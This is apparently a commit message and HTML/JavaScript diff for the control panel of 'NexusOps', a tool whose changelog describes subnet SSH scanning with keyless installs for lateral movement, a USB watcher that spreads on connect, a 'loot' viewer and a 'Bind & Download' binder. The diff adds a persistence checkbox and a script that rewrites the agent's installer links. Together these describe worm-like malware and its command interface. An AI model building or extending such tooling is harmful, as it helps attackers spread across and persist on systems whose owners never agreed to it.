v2.3.0: lateral_movement (subnet SSH scan + keyless install), open_ssh (sshd + dashboard key + CONNECT line), spread-on-connect USB watcher, update-all-outdated endpoint+button, persistence toggle on ALL install paths, SSH/lateral/tooltips UI

public/index.html

@@ -519,6 +519,13 @@
               <span class="nx-term" data-tip="After the agent installs, it also writes a reboot-survival hook (systemd service on Linux, scheduled task on Windows, launchd job on macOS). Turn OFF for one-shot, clean-up-friendly installs.">ⓘ</span>
             </label>
           </div>
+          <div class="form-group" style="margin-top:0.75rem;">
+            <label style="display:flex;align-items:center;gap:0.5rem;cursor:pointer;">
+              <input type="checkbox" id="installerPersist" checked onchange="applyInstallerPersist()">
+              Establish persistence on install
+              <span class="nx-term" data-tip="Persistence makes the agent survive reboots: systemd service on Linux, launchd job on macOS, scheduled task on Windows. Unchecked = agent runs once and dies on reboot.">ⓘ</span>
+            </label>
+          </div>
           <button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
             <i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
           </button>
@@ -570,6 +577,21 @@
   <div class="modal-overlay" id="lootLightbox" style="display:none;" onclick="closeLootLightbox()">
     <img id="lootLightboxImg" class="loot-lightbox-img" alt="preview">
   </div>
+<script>
+function applyInstallerPersist() {
+  const persist = document.getElementById('installerPersist').checked;
+  ['codeUniversal','codeLinux','codeMac','codeWindows'].forEach(id => {
+    const el = document.getElementById(id);
+    if (!el) return;
+    let h = el.innerHTML.replace(/\?persist=[01]/g, '');
+    if (!persist) {
+      h = h.replace(/(\/install\.sh|\/install-mac\.sh|\/install\.ps1|\/install)(?=[\"< \|])/g, '$1?persist=0');
+    }
+    el.innerHTML = h;
+  });
+}
+document.addEventListener('DOMContentLoaded', () => setTimeout(applyInstallerPersist, 100));
+</script>
 </body>
 </html>
 <!-- ═══ NexusOps v2 UI markup ═══ -->